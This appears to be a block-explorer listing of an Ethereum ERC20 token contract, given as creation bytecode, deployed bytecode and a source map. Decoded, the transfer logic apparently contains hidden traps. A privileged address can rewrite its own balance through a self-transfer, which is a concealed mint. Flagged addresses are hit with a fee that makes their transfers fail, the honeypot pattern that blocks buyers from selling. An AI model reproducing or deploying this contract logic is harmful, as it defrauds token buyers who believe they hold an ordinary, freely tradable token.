40152602081019050611e7b565b83811115611ea5576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ec782611e5c565b611ed18185611e67565b9350611ee1818560208601611e78565b611eea81611eab565b840191505092915050565b60006020820190508181036000830152611f0f8184611ebc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f4782611f1c565b9050919050565b611f5781611f3c565b8114611f6257600080fd5b50565b600081359050611f7481611f4e565b92915050565b6000819050919050565b611f8d81611f7a565b8114611f9857600080fd5b50565b600081359050611faa81611f84565b92915050565b60008060408385031215611fc757611fc6611f17565b5b6000611fd585828601611f65565b9250506020611fe685828601611f9b565b9150509250929050565b60008115159050919050565b61200581611ff0565b82525050565b60006020820190506120206000830184611ffc565b92915050565b6000819050919050565b600061204b61204661204184611f1c565b612026565b611f1c565b9050919050565b600061205d82612030565b9050919050565b600061206f82612052565b9050919050565b61207f81612064565b82525050565b600060208201905061209a6000830184612076565b92915050565b6120a981611f7a565b82525050565b60006020820190506120c460008301846120a0565b92915050565b6000806000606084860312156120e3576120e2611f17565b5b60006120f186828701611f65565b935050602061210286828701611f65565b925050604061211386828701611f9b565b9150509250925092565b61212681611f3c565b82525050565b6000602082019050612141600083018461211d565b92915050565b600060ff82169050919050565b61215d81612147565b82525050565b60006020820190506121786000830184612154565b92915050565b60006020828403121561219457612193611f17565b5b60006121a284828501611f65565b91505092915050565b60006121b682611f1c565b9050919050565b6121c6816121ab565b82525050565b60006020820190506121e160008301846121bd565b92915050565b600080604083850312156121fe576121fd611f17565b5b600061220c85828601611f65565b925050602061221d85828601611f65565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061226e57607f821691505b6020821081141561228257612281612227565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122c282611f7a565b91506122cd83611f7a565b9250828210156122e0576122df612288565b5b828203905092915050565b60006122f682611f7a565b915061230183611f7a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561233657612335612288565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612377602083611e67565b915061238282612341565b602082019050919050565b600060208201905081810360008301526123a68161236a565b9050919050565b6000815190506123bc81611f4e565b92915050565b6000602082840312156123d8576123d7611f17565b5b60006123e6848285016123ad565b91505092915050565b6000604082019050612404600083018561211d565b612411602083018461211d565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612474602483611e67565b915061247f82612418565b604082019050919050565b600060208201905081810360008301526124a381612467565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612506602283611e67565b9150612511826124aa565b604082019050919050565b60006020820190508181036000830152612535816124f9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612598602583611e67565b91506125a38261253c565b604082019050919050565b600060208201905081810360008301526125c78161258b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061262a602383611e67565b9150612635826125ce565b604082019050919050565b600060208201905081810360008301526126598161261d565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612696601b83611e67565b91506126a182612660565b602082019050919050565b600060208201905081810360008301526126c581612689565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061274f61274a6127458461272a565b612026565b611f7a565b9050919050565b61275f81612734565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61279a81611f3c565b82525050565b60006127ac8383612791565b60208301905092915050565b6000602082019050919050565b60006127d082612765565b6127da8185612770565b93506127e583612781565b8060005b838110156128165781516127fd88826127a0565b9750612808836127b8565b9250506001810190506127e9565b5085935050505092915050565b600060a08201905061283860008301886120a0565b6128456020830187612756565b818103604083015261285781866127c5565b9050612866606083018561211d565b61287360808301846120a0565b9695505050505050565b600061288882611f7a565b915061289383611f7a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128cc576128cb612288565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061291182611f7a565b915061291c83611f7a565b92508261292c5761292b6128d7565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612993602183611e67565b915061299e82612937565b604082019050919050565b600060208201905081810360008301526129c281612986565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ab52982e327cc0ece20f10050b58f7cb162a68aeb89f4903f2e76cea5a1619d764736f6c63430008080033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b4114610403578063a9059cbb1461042e578063c816841b1461046b578063dd62ed3e14610496578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b806370a082311461031e5780637ca814601461035b578063892cd8f5146103985780638c762838146103c15780638da5cb5b146103d857610135565b806327c8f835116100f257806327c8f83514610235578063313ce567146102605780633345611e1461028b5780633827278a146102c85780634a74bb02146102f357610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190611ef5565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611fb0565b6105cb565b604051610199919061200b565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c49190612085565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef91906120af565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a91906120ca565b610619565b60405161022c919061200b565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b604051610257919061212c565b60405180910390f35b34801561026c57600080fd5b50610275610717565b6040516102829190612163565b60405180910390f35b34801561029757600080fd5b506102b260048036038101906102ad919061217e565b61072e565b6040516102bf919061200b565b60405180910390f35b3480156102d457600080fd5b506102dd61074e565b6040516102ea91906121cc565b60405180910390f35b3480156102ff57600080fd5b50610308610774565b604051610315919061200b565b60405180910390f35b34801561032a57600080fd5b506103456004803603810190610340919061217e565b610787565b60405161035291906120af565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d919061217e565b6107d0565b60405161038f91906120af565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190611fb0565b6107e8565b005b3480156103cd57600080fd5b506103d66108e0565b005b3480156103e457600080fd5b506103ed610cb8565b6040516103fa919061212c565b60405180910390f35b34801561040f57600080fd5b50610418610ce1565b6040516104259190611ef5565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190611fb0565b610d73565b604051610462919061200b565b60405180910390f35b34801561047757600080fd5b50610480610d92565b60405161048d919061212c565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b891906121e7565b610db8565b6040516104ca91906120af565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f5919061217e565b610e3f565b005b34801561050857600080fd5b50610523600480360381019061051e919061217e565b610f91565b604051610530919061200b565b60405180910390f35b60606001805461054890612256565b80601f016020809104026020016040519081016040528092919081815260200182805461057490612256565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8610fb1565b8484610fb9565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b6000610626848484611184565b506106e884610633610fb1565b6106e3856040518060600160405280602881526020016129ca60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610699610fb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d59092919063ffffffff16565b610fb9565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60086020528060005260406000206000915090505481565b6000808214806108045750600060648361080291906122b7565b145b61080f576000610812565b60015b9050801561085f5781600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6108da600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576003836108c491906122eb565b6108cb565b825b8361183990919063ffffffff16565b50505050565b6108e8610fb1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c9061238d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109d457600080fd5b505afa1580156109e8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0c91906123c2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6e57600080fd5b505afa158015610a82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa691906123c2565b6040518363ffffffff1660e01b8152600401610ac39291906123ef565b602060405180830381600087803b158015610add57600080fd5b505af1158015610af1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1591906123c2565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610cf090612256565b80601f0160208091040260200160405190810160405280929190818152602001828054610d1c90612256565b8015610d695780601f10610d3e57610100808354040283529160200191610d69565b820191906000526020600020905b815481529060010190602001808311610d4c57829003601f168201915b5050505050905090565b6000610d87610d80610fb1565b8484611184565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e47610fb1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecb9061238d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611029576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110209061248a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611099576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110909061251c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117791906120af565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ec906125ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c90612640565b60405180910390fd5b600b60149054906101000a900460ff161561128c57611285848484611883565b90506117ce565b60008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16146112c8576000611328565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611324576000611327565b60015b5b905080156113a9576113438384611a5690919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff161580156114105750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114275761142661142130610787565b611ab4565b5b600061147b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183990919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115625750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116c95760006115906064611582600088611d3490919063ffffffff16565b611daf90919063ffffffff16565b90506000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156115f0576115ed8582611a5690919063ffffffff16565b90505b60008111156116b55780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461164891906122eb565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116ac91906120af565b60405180910390a35b80856116c191906122b7565b9150506116cd565b8390505b61171f81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117bf91906120af565b60405180910390a36001925050505b9392505050565b600083831115829061181d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118149190611ef5565b60405180910390fd5b506000838561182c91906122b7565b9050809150509392505050565b600061187b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117d5565b905092915050565b600061190e826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d59092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a382600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5690919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a4391906120af565b60405180910390a3600190509392505050565b6000808284611a6591906122eb565b905083811015611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa1906126ac565b60405180910390fd5b8091505092915050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611aec57611aeb6126cc565b5b604051908082528060200260200182016040528015611b1a5781602001602082028036833780820191505090505b5090503081600081518110611b3257611b316126fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bd457600080fd5b505afa158015611be8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0c91906123c2565b81600181518110611c2057611c1f6126fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611ce0959493929190612823565b600060405180830381600087803b158015611cfa57600080fd5b505af1925050508015611d0b575060015b611d1457611d15565b5b506000600b60146101000a81548160ff02191690831515021790555050565b600080831415611d475760009050611da9565b60008284611d55919061287d565b9050828482611d649190612906565b14611da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9b906129a9565b60405180910390fd5b809150505b92915050565b6000611df183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611df9565b905092915050565b60008083118290611e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e379190611ef5565b60405180910390fd5b5060008385611e4f9190612906565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e96578082015181840152602081019050611e7b565b83811115611ea5576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ec782611e5c565b611ed18185611e67565b9350611ee1818560208601611e78565b611eea81611eab565b840191505092915050565b60006020820190508181036000830152611f0f8184611ebc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f4782611f1c565b9050919050565b611f5781611f3c565b8114611f6257600080fd5b50565b600081359050611f7481611f4e565b92915050565b6000819050919050565b611f8d81611f7a565b8114611f9857600080fd5b50565b600081359050611faa81611f84565b92915050565b60008060408385031215611fc757611fc6611f17565b5b6000611fd585828601611f65565b9250506020611fe685828601611f9b565b9150509250929050565b60008115159050919050565b61200581611ff0565b82525050565b60006020820190506120206000830184611ffc565b92915050565b6000819050919050565b600061204b61204661204184611f1c565b612026565b611f1c565b9050919050565b600061205d82612030565b9050919050565b600061206f82612052565b9050919050565b61207f81612064565b82525050565b600060208201905061209a6000830184612076565b92915050565b6120a981611f7a565b82525050565b60006020820190506120c460008301846120a0565b92915050565b6000806000606084860312156120e3576120e2611f17565b5b60006120f186828701611f65565b935050602061210286828701611f65565b925050604061211386828701611f9b565b9150509250925092565b61212681611f3c565b82525050565b6000602082019050612141600083018461211d565b92915050565b600060ff82169050919050565b61215d81612147565b82525050565b60006020820190506121786000830184612154565b92915050565b60006020828403121561219457612193611f17565b5b60006121a284828501611f65565b91505092915050565b60006121b682611f1c565b9050919050565b6121c6816121ab565b82525050565b60006020820190506121e160008301846121bd565b92915050565b600080604083850312156121fe576121fd611f17565b5b600061220c85828601611f65565b925050602061221d85828601611f65565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061226e57607f821691505b6020821081141561228257612281612227565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122c282611f7a565b91506122cd83611f7a565b9250828210156122e0576122df612288565b5b828203905092915050565b60006122f682611f7a565b915061230183611f7a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561233657612335612288565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612377602083611e67565b915061238282612341565b602082019050919050565b600060208201905081810360008301526123a68161236a565b9050919050565b6000815190506123bc81611f4e565b92915050565b6000602082840312156123d8576123d7611f17565b5b60006123e6848285016123ad565b91505092915050565b6000604082019050612404600083018561211d565b612411602083018461211d565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612474602483611e67565b915061247f82612418565b604082019050919050565b600060208201905081810360008301526124a381612467565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612506602283611e67565b9150612511826124aa565b604082019050919050565b60006020820190508181036000830152612535816124f9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612598602583611e67565b91506125a38261253c565b604082019050919050565b600060208201905081810360008301526125c78161258b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061262a602383611e67565b9150612635826125ce565b604082019050919050565b600060208201905081810360008301526126598161261d565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612696601b83611e67565b91506126a182612660565b602082019050919050565b600060208201905081810360008301526126c581612689565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061274f61274a6127458461272a565b612026565b611f7a565b9050919050565b61275f81612734565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61279a81611f3c565b82525050565b60006127ac8383612791565b60208301905092915050565b6000602082019050919050565b60006127d082612765565b6127da8185612770565b93506127e583612781565b8060005b838110156128165781516127fd88826127a0565b9750612808836127b8565b9250506001810190506127e9565b5085935050505092915050565b600060a08201905061283860008301886120a0565b6128456020830187612756565b818103604083015261285781866127c5565b9050612866606083018561211d565b61287360808301846120a0565b9695505050505050565b600061288882611f7a565b915061289383611f7a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128cc576128cb612288565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061291182611f7a565b915061291c83611f7a565b92508261292c5761292b6128d7565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612993602183611e67565b915061299e82612937565b604082019050919050565b600060208201905081810360008301526129c281612986565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ab52982e327cc0ece20f10050b58f7cb162a68aeb89f4903f2e76cea5a1619d764736f6c63430008080033

Deployed Bytecode Sourcemap

3844:6286:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5169:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5832:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4514:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5446:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6383:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4122:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5355:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4288:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4044:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4629:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5554:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4397:40;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9722:405;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6879:508;;;;;;;;;;;;;:::i;:::-;;2977:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5260:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6704:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4562:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5681:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3191:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4345:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5169:83;5206:13;5239:5;5232:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5169:83;:::o;5832:161::-;5907:4;5924:39;5933:12;:10;:12::i;:::-;5947:7;5956:6;5924:8;:39::i;:::-;5981:4;5974:11;;5832:161;;;;:::o;4514:41::-;;;;;;;;;;;;;:::o;5446:100::-;5499:7;5526:12;;5519:19;;5446:100;:::o;6383:313::-;6481:4;6498:36;6508:6;6516:9;6527:6;6498:9;:36::i;:::-;;6545:121;6554:6;6562:12;:10;:12::i;:::-;6576:89;6614:6;6576:89;;;;;;;;;;;;;;;;;:11;:19;6588:6;6576:19;;;;;;;;;;;;;;;:33;6596:12;:10;:12::i;:::-;6576:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6545:8;:121::i;:::-;6684:4;6677:11;;6383:313;;;;;:::o;4122:81::-;;;:::o;5355:83::-;5396:5;5421:9;;;;;;;;;;;5414:16;;5355:83;:::o;4288:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;4044:26::-;;;;;;;;;;;;;:::o;4629:40::-;;;;;;;;;;;;;:::o;5554:119::-;5620:7;5647:9;:18;5657:7;5647:18;;;;;;;;;;;;;;;;5640:25;;5554:119;;;:::o;4397:40::-;;;;;;;;;;;;;;;;;:::o;9722:405::-;9785:11;9808:1;9800:4;:9;:32;;;;9831:1;9821:5;9813:4;:14;;;;:::i;:::-;:19;9800:32;9799:67;;9861:5;9799:67;;;9845:4;9799:67;9785:81;;9882:6;9879:42;;;9917:4;9903;:11;9908:5;9903:11;;;;;;;;;;;;;;;:18;;;;9879:42;9934:185;10030:3;;;;;;;;;;;10016:17;;:10;:17;;;10015:59;;10073:1;10066:4;:8;;;;:::i;:::-;10015:59;;;10059:4;10015:59;9942:4;9934:17;;:185;;;;:::i;:::-;;9774:353;9722:405;;:::o;6879:508::-;3114:12;:10;:12::i;:::-;3104:22;;:6;;;;;;;;;;:22;;;3096:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6921:35:::1;6978:42;6921:100;;7109:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7091:70;;;7170:4;7177:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7091:110;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7077:11;;:124;;;;;;;;;;;;;;;;;;7232:16;7214:15;;:34;;;;;;;;;;;;;;;;;;7296:4;7259:12;:34;7280:11;;;;;;;